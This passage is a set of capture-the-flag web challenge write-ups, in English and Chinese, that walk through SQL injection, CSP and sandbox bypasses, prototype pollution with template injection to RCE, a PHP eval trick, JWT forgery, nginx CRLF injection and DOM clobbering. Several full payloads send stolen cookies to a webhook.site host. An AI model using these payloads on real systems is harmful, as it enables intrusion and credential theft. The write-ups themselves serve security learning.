const cookies = req.cookies;
const queryParams = req.query;
if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => {
if(err){
console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});
We know two things from above:
sub query is your good friend in this case, we can let our title become the flag:
uuid', (select flag from flag limit 1), '1');--
Full url: https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=1b3f6724-8a5f-4cad-b127-2a13e7847752', (select flag from flag limit 1), '1');--&widgetname=1&widgetdata=1
So we can create an widget with title as flag:
題目給了一個 python script:
import glob
blocked = ["/etc/passwd", "/flag.txt", "/proc/"]
def read_file(file_path):
for i in blocked:
if i in file_path:
return "you aren't allowed to read that file"
try:
path = glob.glob(file_path)[0]
except:
return "file doesn't exist"
return open(path, "r").read()
user_input = input("> ")
print(read_file(user_input))
寫過同比賽的 hackme 之後這題就秒解了:
/f*
The goal is to steal admin's cookie so we know it's something to do with XSS.
So all we need to do is generate a link with XSS and submit to admin bot.
source code:
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
If you look carefully, you should find that nonce won't changed after server started, so it's quite easy to bypass CSP.
https://babier-csp.dicec.tf/?name=
</h1><script nonce="LRGWAXOY98Es0zz0QOVmag==">
window.location =
'https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c='%2bdocument.cookie
</script>
Then we can get a link from cookie: https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/
Follow the link we can get the flag:
Here is the beta access to a interactive learning tool of my course
// index.js
const express = require('express');
const deparam = require('jquery-deparam');
const {template} = require('./util.js');
const pug = require('pug');
const child_process = require('child_process');
const app = express()
const port = 3000
app.set('view engine', 'pug')
//Configure server-staus options here
options = {args:["-eo", "cpu,args"], options:{"timeout":500} }
//I don't trust these modules
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
//I believe in Defense in Depth and I don't trust the code I write, so here is my waf
app.use((req, res, next) => {
inp = decodeURIComponent(req.originalUrl)
const denylist = ["%","(","global", "process","mainModule","require","child_process","exec","\"","'","!","`",":","-","_"];
for(i=0;i<denylist.length; i++){
if(inp.includes(denylist[i])){
return res.send('request is blocked');
}
}
next();
});
app.get('/',(req,res) =>{
var basic = {
title: "Pug 101",
head: "Welcome to Pug 101",
name: "Guest"
}
var input = deparam(req.originalUrl.slice(2));
if(input.name)
basic.name = input.name.Safetify()
if(input.head)
basic.head = input.head.Safetify()
var content = input.content? input.content.Safetify() : ''
var pugtmpl = template.replace('OUT',content)
const compiledFunction = pug.compile(pugtmpl)
res.send(compiledFunction(basic));
});
app.get('/serverstatus', (req, res) => {
const result = child_process.spawnSync('ps' , options.args, options.options);
out = result.stdout.toString();
res.send(out)
})
app.listen(port, () => {
console.log('started')
})
// util.js
//Copied from https://github.com/Spacebrew/spacebrew/blob/1d8fb258c04cfe65728ce32e0b198032f384d9c3/admin/js/utils.js
//static regex and function to replace all non-alphanumeric characters
//in a string with their unicode decimal surrounded by hyphens
//and a regex/function pair to do the reverse
String.SafetifyRegExp = new RegExp("([^a-zA-Z0-9 \r\n])","gi");
String.UnsafetifyRegExp = new RegExp("-(.*?)-","gi");
String.SafetifyFunc = function(match, capture, index, full){
//my pug hates these characters
return "b nyan "+capture.charCodeAt(0);
};
String.UnsafetifyFunc = function(match, capture, index, full){
return String.fromCharCode(capture);
};
//create a String prototype function so we can do this directly on each string as
//"my cool string".Safetify()
String.prototype.Safetify = function(){
return this.replace(String.SafetifyRegExp, String.SafetifyFunc);
};
String.prototype.Unsafetify = function(){
return this.replace(String.UnsafetifyRegExp, String.UnsafetifyFunc);
};
//global functions so we can call ['hello','there'].map(Safetify)
Safetify = function(s){
return s.Safetify();
};
Unsafetify = function(s){
return s.Unsafetify();
};
var template = `
doctype html
html
head
title #{title}
link(rel="stylesheet" href="https://unpkg.com/@picocss/pico@latest/css/pico.min.css")
body
h1 #{head}, #{name}
p You can learn about Pug interactively on my brand new site!
p Note: The pug features are limited, for more pug features you have to subscribe to my course which will be released soon.
form(action='/', method='GET')
p
| name:
input( name='name', value='Guest')
br
| content:
textarea( name='content') b hello world
input(type='submit', value='Submit')
br
p Rendered Output:
OUT`
module.exports = {
template: template
}
I checked package.json
and found jquery-deparam
, so I think it's a challenge about prototype pollution.
But, the prototype has been sealed via Objec.seal
:
Object.seal && [ Object, Array, String, Number ].map( function( builtin ) { Object.seal( builtin.prototype ); } )
So, our target is not Object.prototype
, is String.SafetifyRegExp
. We can pollute String.SafetifyRegExp
to bypass SafetifyFunc
.
Like this:
?a[b]=c&a[b][constructor][SafetifyRegExp]=9
// "c".constructor is String
// so String.SafetifyRegExp = '9'
We can use any characters now, and then we can leverage pug.compile
to do SSTI.
global
is blocked but we can use this
instead, process
also blocked so we need to find another way, I found that we can use options.args
:
b hello world #{this[options.args[1][1]+options.args[1][5]+options.args[0][2]+options.args[1][0]+options.args[0][1]+options.args[1][7]+options.args[1][7]].env.FLAG}
What if we couldn't find all the characters in options.args
? We can pollute another property as well:
http://localhost:3000/?a[b]=c&a[b][constructor][SafetifyRegExp]=9&b[constructor][prototype][valueOf]=proces
b #{this[options.valueOf+options.valueOf[5]].env.FLAG}
Just modify optinos
if you need a RCE:
http://localhost:3000/?
a[b]=c&a[b][constructor][SafetifyRegExp]=9&
b[constructor][prototype][valueOf]=;env;
b #{options.options.shell=true} #{options.args[0]=options.valueOf}
Then vist /serverstatus
to see the result
這一題給的程式碼非常簡短:
<?=
highlight_file(__FILE__) &&
strlen($🐱=$_GET['ヽ(#`Д´)ノ'])<0x0A &&
!preg_match('/[a-z0-9`]/i',$🐱) &&
eval(print_r($🐱,1));
限制看起來很嚴格,長度最多只能到 9,而且還不能有任何英文數字。
之前有解過類似的需要用 xor 或是 not 來產生字元,然後再用 PHP 可以用字串 function 名稱執行函式的特性來執行,最後達成 RCE。
不過這題的長度限制是 9,再怎麼想都不可能,因為光是基本的一些字元就已經超過了。
所以這題換個角度想,可以用 array 來試試看,自己實際試過之後發現 array 確實可以繞過,前面兩個判斷都可以通過,那接下來的問題就是該怎麼讓:eval(print_r($🐱,1)
可以順利執行。
這邊我一開始的想法是讓 print_r 出來的東西變成合法的 php 程式碼,就可以成功執行了,於是我先用 print_r 出來的格式去跑 php,嘗試過底下這樣:
<?php
$arr = array(
[0] => 1
);
print_r($arr);
?>
執行之後會輸出:PHP Fatal error: Illegal offset type in /Users/li.hu/Documents/playground/php-test/er.php on line 3
看起來是 array 的 index 不能是陣列,不然就會出錯。原本想說那這條路應該行不通了,後來我想說:「那既然會出錯,有沒有可能在出錯之前先執行我想執行的函式?」,就嘗試了以下程式碼:
<?php
$arr = array(
[0] => system("ls")
);
print_r($arr);
?>
發現還真的印出結果了!而且原本的 fatal error 變成了 warning:Warning: Illegal offset type in /Users/huli/Documents/security/ais/php-challenge/b.php on line 3
我到現在還是不知道為什麼,但只要 value 的部分有 function call 就會這樣。
所以只要讓 print_r 產生出來的東西變成一段合法程式碼,就可以插入任意字元,後半段用 /*
註解掉就好,最後的解法長這樣:
abs(1)); echo shell_exec("cat /*"); /*
先用 abs(1) 把 fatal error 變 warning,然後執行想要的程式碼,最後用註解把後面跳掉,成功拿到 flag。
賽後去看其他人的解法,發現 query string 原來這麼神奇。我一直以為 query string 頂多就是傳 array,像是這樣:?a[]=1&a[]=2
,但後來才發現原來[]
裡面可以有東西,像這樣:?a[test]=1
,在 PHP 裡面你就可以拿到:
Array
(
[test] => 1
)
如果是這樣的話,就可以讓 key 是 /*
,value 是 */]); echo 123;/*
,組合起來就變成:
<?php
Array(
[/*] => "*/]); echo 123;/*"
);
?>
就成功組出一段合法的 PHP 程式碼。
這一題學到最有價值的東西就是這個了,原來 query string 不只傳陣列,要傳物件也是可以的(至少 PHP 跟 express 都有支援,其他的我不確定)
After register and login we will have a JWT, and we need to be admin to get the flag.
This is how JWT looks like:
At first, I found that I can replace jku
to my own server, so I implemented a simple server to return the key. Unfortunately, it keeps return error which said that it can not find a suitable key. I stuck here for a long time and have no idea how to proceed.
Then, I noticed a very important part in the error message, part of jwk are included in the response. So I tried to change the JWT kid
to another random string, here is the error message from server:
JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS2561","alg":"HS256"} from JWKs [org.jose4j.jwk.OctetSequenceJsonWebKey{kty=oct, kid=HS256, alg=HS256}] obtained from http://localhost:8080/secret): JsonWebSignature{"kid":"HS2561","alg":"HS256"}->eyJraWQiOiJIUzI1NjEiLCJhbGciOiJIUzI1NiJ9.eyJqa3UiOiJodHRwOi8vbG9jYWxob3N0OjgwODAvc2VjcmV0IiwiZXhwIjoxNjE3NTMwOTkyLCJqdGkiOiJCREFjSTZ1V0p5X0tvdmhTWnN6WW5nIiwiaWF0IjoxNjE2OTI2MTkyLCJuYmYiOjE2MTY5MjYwNzIsInN1YiI6ImV3ZWlvZmpld29pZiJ9.G_4j1QH9RoiSkv59rmZz0gtNFKPath-Bi8J4_dQmevo]
Great! Now we know the kty is oct
, no wonder kty=RSA
keeps throw error.
Now we know the correct kty
so we can create our own jwk server:
const express = require('express')
const app = express()
app.get('/', (req, res) => {
res.json({
"kty": "oct",
"kid": "HS256",
"alg": "HS256",
"k": "AyM1SysPpbyDfgZld3umj1qzKObwVMkoqQ-EstJQLr_T-1qS0gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr1Z9CAow"
})
})
app.listen(3000)
We can sign a new JWT with sub=admin
by using this secret key, and get the flag.
reference:
It's like a Web IDE, you can write code on the UI and see the result:
Source code is available:
const express = require('express');
const crypto = require('crypto');
const app = express();
const adminPassword = crypto.randomBytes(16).toString('hex');
const bodyParser = require('body-parser');
app.use(require('cookie-parser')());
// don't let people iframe
app.use('/', (req, res, next) => {
res.setHeader('X-Frame-Options', 'DENY');
return next();
});
// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
// we have to allow this for obvious reasons
res.removeHeader('X-Frame-Options');
return next();
});
// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));
// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});
// handle file saving
app.use('/ide/save', bodyParser.raw({
extended: false,
limit: '32kb',
type: 'application/javascript'
}));
const files = new Map();
app.post('/ide/save', (req, res) => {
// only admins can save files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = req.body;
const id = `${crypto.randomBytes(8).toString('hex')}.js`;
files.set(id, data);
res.type('text/plain').send(id).end();
});
app.get('/ide/saves/:id', (req, res) => {
// only admins can view files
if (req.cookies.token !== `dice{${process.env.FLAG}}`)
return res.status(401).end();
const data = files.get(req.params.id);
if (!data) return res.status(404).end();
res.type('application/javascript').send(data).end();
});
// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
switch (req.cookies.token) {
case 'guest':
return next();
case `dice{${process.env.FLAG}}`:
return next();
default:
return res.redirect('/login');
}
});
app.use('/ide', express.static('public/ide'));
app.listen(3000);
The goal is to steal admin's cookie, so it's another XSS challenge!
First, we need to know how this web IDE works.
It's the ide html source code:
<!doctype html>
<html>
<head>
<title>Web IDE</title>
<link rel="stylesheet" href="src/styles.css"/>
<script src="src/index.js"></script>
</head>
<body>
<div id="editor">
<textarea>console.log('Hello World!');</textarea>
<iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
<br />
<button id="run">Run Code</button>
<button id="save">Save Code (Admin Only)</button>
</div>
</body>
</html>
And src/index.js
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
document.getElementById('run').addEventListener('click', () => {
document.querySelector('iframe')
.contentWindow
.postMessage(document.querySelector('textarea').value, '*');
});
document.getElementById('save').addEventListener('click', async () => {
const response = await fetch('/ide/save', {
method: 'POST',
body: document.querySelector('textarea').value,
headers: {
'Content-Type': 'application/javascript'
}
});
if (response.status === 200) {
window.location = `/ide/saves/${await response.text()}`;
return;
}
alert('You are not an admin.');
});
})();
When user clicks "Run Code", it postMessage
to the iframe sandbox.html
, that's all.
Then, we need to check sandbox.html:
<!doctype html>
<html>
<head>
<script src="src/sandbox.js"></script>
<link rel="stylesheet" href="src/styles.css"/>
</head>
<body id="sandbox">
</body>
</html>
src/sandbox.js
(async () => {
await new Promise((r) => { window.addEventListener(('load'), r); });
const log = (data) => {
const element = document.createElement('p');
element.textContent = data.toString();
document.querySelector('div').appendChild(element);
window.scrollTo(0, document.body.scrollHeight);
};
const safeEval = (d) => (function (data) {
with (new Proxy(window, {
get: (t, p) => {
if (p === 'console') return { log };
if (p === 'eval') return window.eval;
return undefined;
}
})) {
eval(data);
}
}).call(Object.create(null), d);
window.addEventListener('message', (event) => {
const div = document.querySelector('div');
if (div) document.body.removeChild(div);
document.body.appendChild(document.createElement('div'));
try {
safeEval(event.data);
} catch (e) {
log(e);
}
});
})();
It listens to window.message
event and pass the data to safeEval
. It's wrapped in a Proxy so only window.console
and window.eval
are available.
We can see result at right side because it overrides console.log
.
The first thing we need to bypass is the window proxy.
From what I know, there are couple of ways to execute arbitrary js:
We can choose the one without accessing window: function constructor
!
([].map.constructor('alert(1)'))()
We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
function run() {
window.frames.f.postMessage(`([].map.constructor('alert(1)'))()
`, '*')
}
</script>
</body>
</html>
Replace alert(1)
with alert(document.cookie)
, we can see the cookie:
Wait, where is the cookie?
I checked the source code again and found this:
app.post('/ide/login', (req, res) => {
const { user, password } = req.body;
switch (user) {
case 'guest':
return res.cookie('token', 'guest', {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
case 'admin':
if (password === adminPassword)
return res.cookie('token', `dice{${process.env.FLAG}}`, {
path: '/ide',
sameSite: 'none',
secure: true
}).redirect('/ide/');
break;
}
res.status(401).end();
});
The cookie has path: /ide
but the path of sandbox.html is /
, so we can't get cookie from /sandbox.html
I have tried couple of ways but none of them work, like:
/sandbox.html
to /ide/..%2fsandbox.html
but script won't load/ide
but it fails because of X-Frame-Options
/ide
and alert document.cookie againI also tried to google the keyword like: get subpath cookie ctf
or get another path cookie
but still can't find any useful resource.
Suddenly, I have an idea about window.open
The return value of the window.open
is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie
works?
So I tried this:
var w1 = window.open('https://web-ide.dicec.tf/ide')
// wait for window loaded
setTimeout(() => {
alert(w1.document.cookie)
}, 2000)
To my surprise, it works!
I checked the mdn, it seems we can get window as long as it's same origin.
Combined with the function constructor, here is the final payload(I formatted it a bit for readability):
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
<script>
function run() {
window.frames.f.postMessage(
`([].map.constructor('
var w1=window.open("https://web-ide.dicec.tf/ide");
setTimeout(()=>{
var c=document.createElement("img");
c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie;
document.body.appendChild(c)
}, 2000)
'))()`
, '*'
)
}
</script>
</body>
</html>
After host this file and send the link to admin bot, we can get the flag.
nginx config
server {
listen 443 ssl;
resolver 8.8.8.8;
server_name static-site.volgactf-task.ru;
ssl_certificate /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
ssl_certificate_key /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;
add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
location / {
root /var/www/html;
}
location /static/ {
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
}
index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Static Site</title>
<link rel="stylesheet" href="./static/bootstrap.min.css">
</head>
<body class="text-center">
<div class="cover-container d-flex h-100 p-3 mx-auto flex-column">
<header class="mt-5">
<h3 class="masthead-brand">Static Site</h3>
</header>
<main role="main" class="mt-5">
<p class="lead"><img src="./static/hacker.gif"/></p>
<p class="lead pt-5">
Ok, hackers, I created a static site with a strict Content-Security-Policy.
</p>
<p class="lead">
It is simply impossible to steal my cookies now!
</p>
<p class="lead">
But, you can still try:
</p>
<p>
<form id="form" class="form-inline justify-content-center" method="POST" action="https://bot-static-site.volgactf-task.ru/">
<div class="form-group">
<label for="url">URL</label>
<input type="url" name="url" id="url" class="form-control mx-sm-3">
<input type="submit" class="btn btn-secondary g-recaptcha" data-sitekey="6LdN230aAAAAAPsMXHWZ9szidC6tbkSzWDarMqmL" data-callback="onSubmit" data-action="submit">
</div>
</form>
</p>
</main>
</div>
<script src="https://www.google.com/recaptcha/api.js"></script>
<script src="./static/captcha.js"></script>
</body>
</html>
After review the nginx config and the html file, this part catch my eyes:
location /static/ {
proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
}
Then I googled nginx $uri vulnerability
and found some useful resources:
We can use CRLF injection and change the request. I am not familiar with nginx so I create an environment on my local to see how can I use it. After playing for a while I found that I can fake the Host
header to read the file in my own bucket:
https://static-site.volgactf-task.ru/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:
So the solution is straightforward:
html file
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
</head>
<body class="text-center">
hello
<script src="/static/app.js%20HTTP/1.0%0d%0aHost:%20ctftesthuli.s3.amazonaws.com%0d%0ayo:"></script>
</body>
</html>
js file
window.location = 'https://webhook.site?c='+document.cookie
Challenge link: https://challenge-0721.intigriti.io/
Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html
This project is a bit complex because there are two frames and a lot of postMessage
and onmessage
, make it harder to know how it works at first glance.
To find a XSS vulnerability, there must be a place to inject malicious payload, like innerHTML
or eval
, so I started from finding this place.
There are three pages:
Let's check it one by one.
<div class="card-container">
<div class="card-header-small">Your payloads:</div>
<div class="card-content">
<script>
// redirect all htmledit messages to the console
onmessage = e =>{
if (e.data.fromIframe){
frames[0].postMessage({cmd:"log",message:e.data.fromIframe}, '*');
}
}
/*
var DEV = true;
var store = {
users: {
admin: {
username: 'inti',
password: 'griti'
}, moderator: {
username: 'root',
password: 'toor'
}, manager: {
username: 'andrew',
password: 'hunter2'
},
}
}
*/
</script>
<div class="editor">
<span id="bin">
<a onclick="frames[0].postMessage({cmd:'clear'},'*')">🗑️</a>
</span>
<iframe class=console src="./console.php"></iframe>
<iframe class=codeFrame src="./htmledit.php?code=<img src=x>"></iframe>
<textarea oninput="this.previousElementSibling.src='./htmledit.php?code='+escape(this.value)"><img src=x></textarea>
</div>
</div>
</div>
Besides the weird variable in the comment, DEV
and store
, nothing special.
<!-- <img src=x> -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Native HTML editor</title>
<script nonce="d8f00e6635e69bafbf1210ff32f96bdb">
window.addEventListener('error', function(e){
let obj = {type:'err'};
if (e.message){
obj.text = e.message;
} else {
obj.text = `Exception called on ${e.target.outerHTML}`;
}
top.postMessage({fromIframe:obj}, '*');
}, true);
onmessage=(e)=>{
top.postMessage({fromIframe:e.data}, '*')
}
</script>
</head>
<body>
<img src=x></body>
</html>
<!-- /* Page loaded in 0.000024 seconds */ -->
htmledit.php
reflects the query string code
but there is a strict CSP: script-src 'nonce-...';frame-src https:;object-src 'none';base-uri 'none';
, it's impossible to run JS. But it's worth noting that embed an iframe is allow. Maybe it's a hint for the player?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
</script>
<style>
body, ul {
margin:0;
padding:0;
}
ul#console {
background: lightyellow;
list-style-type: none;
font-family: 'Roboto Mono', monospace;
font-size: 14px;
line-height: 25px;
}
ul#console li {
border-bottom: solid 1px #80808038;
padding-left: 5px;
}
</style>
</head>
<body>
<ul id="console"></ul>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
case 'info':{
line.style.backgroundColor = 'lightcyan';
break;
}
case 'success':{
line.style.backgroundColor = 'lightgreen';
break;
}
case 'warn':{
line.style.backgroundColor = 'lightyellow';
break;
}
case 'err':{
line.style.backgroundColor = 'lightpink';
break;
}
default:{
line.style.backgroundColor = 'lightcyan';
}
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
log('Connection status: ', window.navigator.onLine?"Online":"Offline")
onmessage = e => {
switch (e.data.cmd) {
case "log": {
log("[log]: ", e.data.message.text, type=e.data.message.type);
break;
}
case "anchor": {
log("[anchor]: ", s(a(u(e.data.message))), type='info')
break;
}
case "clear": {
document.querySelector('#console').innerHTML = "";
break;
}
default: {
log("[???]: ", `Wrong command received: "${e.data.cmd}"`)
}
}
}
</script>
<script nonce="c4936ad76292ee7100ecb9d72054e71f">
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
case "ping": { // check the connection
e.source.postMessage({message:'pong'},'*');
break;
}
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
} catch {
// hide this script on production
document.currentScript.remove();
}
</script>
<script src="./analytics/main.js?t=1627610836"></script>
</body>
</html>
It's the most interesting one.
First, I found a eval
command here for changing variable's value:
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
switch(m.cmd){
// ...
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
default: {
_onmessage(e); // keep default functions
}
}
}
Is it where I can inject my payload? Probably not, because it allows limited alphanumeric and symbol(only -
and +
).
Another interesting part is here:
let log = (prefix, data, type='info', safe=false) => {
let line = document.createElement("li");
let prefix_tag = document.createElement("span");
let text_tag = document.createElement("span");
switch (type){
// not important
}
data = parse(data);
if (!safe){
data = data.replace(/</g, '<');
}
prefix_tag.innerHTML = prefix;
text_tag.innerHTML = data;
line.appendChild(prefix_tag);
line.appendChild(text_tag);
document.querySelector('#console').appendChild(line);
}
If safe
is true, the data
won't be sanitized and we can inject arbitrary HTML. I believe here is the key, so my goal is to execute log function with arbitrary data and let safe
be true.
Before that, we need to know that JavaScript has no named parameters, don't be confused!
For example, when we call log("[logv]: ", window[m.message], safe=false, type='info');
, the argument is actually by order, so prefix
is "[logv]: "
, data
is window[m.message]
, type
is false
and safe
is 'info'
Anyway, I decided to start from find a way to run log
function, and it's obviously that I can postMessage
to it's window to run the command.
But I need to bypass some checks first.
First, I need to embed this page in an iframe:
name = 'Console'
document.title = name;
if (top === window){
document.head.parentNode.remove(); // hide code if not on iframe
}
Second, there are two more checks I need to bypass:
try {
if (!top.DEV)
throw new Error('Production build!');
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
let _onmessage = onmessage;
onmessage = e => {
let m = e.data;
if (!m.credentials || !checkCredentials(m.credentials.username, m.credentials.password)) {
return; // do nothing if unauthorized
}
// ...
}
} catch {
// hide this script on production
document.currentScript.remove();
}
top.DEV
should be truthy, and the credentials I send in should match top.store.users.admin.username
and top.store.users.admin.password
.
It's easy, just write my own HTML page and set these variables, embed console.php
in an iframe, and then post message to it, right?
Nope, it's not gonna work because of Same-Origin Policy. When console.php
tries to access top.DEV
, it's blocked by browser because top window is in another domain.
So we need a same origin page where we can embed an iframe and also set global variables. htmledit.php
is the one.
There is a technique called DOM clobbering, it utilizes a feature which turns a DOM element with id to global variable.
For example, when you have <div id="a"></div>
in your HTML, you can access it in JS via window.a
or just a
.
If you can read Mandarin, you can check my blog post 淺談 DOM Clobbering 的原理及應用 and another great article by Zeddy: 使用 Dom Clobbering 扩展 XSS. If you can't, check this: DOM Clobbering strikes back
It's a little bit troublesome to achieve multi-level DOM clobbering, you need to use iframe + srcdoc, here is my payload:
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'>
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
So top.DEV
is a
element, store
is the iframe, store.users
is HTML collections of <a>
, store.users.admin
is the a
, and store.users.admin.username
is the URL username in href
, which is a
, it's the same for password.
I built a simple page to open a new window, so that htmledit.php
is the top window and I can still post message to it:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'test',
credentials
}, '*')
}, 5000)
</script>
</body>
</html>
By far, I can send message to console.php
. But, it's only the beginning.
In order to let safe
be true, I need to find a function call with 4 parameters:
case "logv": { // display variable's value by its name
log("[logv]: ", window[m.message], safe=false, type='info');
break;
}
case "compare": { // compare variable's value to a given one
log("[compare]: ", (window[m.message.variable] === m.message.value), safe=true, type='info');
break;
}
log("[logv]: ", window[m.message], safe=false, type='info')
is what I need, the fourth parameter is info
which is truthy. data
is window[m.message]
, so I need to set my payload to a global variable.
I stuck here for a long time because I can't find one. window.name
is usually a good candidate but this page set it's window name so I can't use it.
location
is another candidate but log
checks if data
is string, if not, it turns it into a string via JSON.stringify
, which encoded <>
.
I checked the code again and again, try to find out the missing puzzle. Finally, I found one.
let checkCredentials = (username, password) => {
try{
let users = top.store.users;
let access = [users.admin, users.moderator, users.manager];
if (!users || !password) return false;
for (x of access) {
if (x.username === username && x.password === password)
return true
}
} catch {
return false
}
return false
}
Can you find a bug in the code above?
for (x of access) {
, it's a common bug for newbie, when you forgot to declare x
, it will be a global variable. In this case, x
is top.store.users.admin
, which is the <a>
element.
If we cast an <a>
element to string, the return value is a.href
. It's a common technique in DOM clobbering. So we can pass our payload inside href
.
But, remember that log
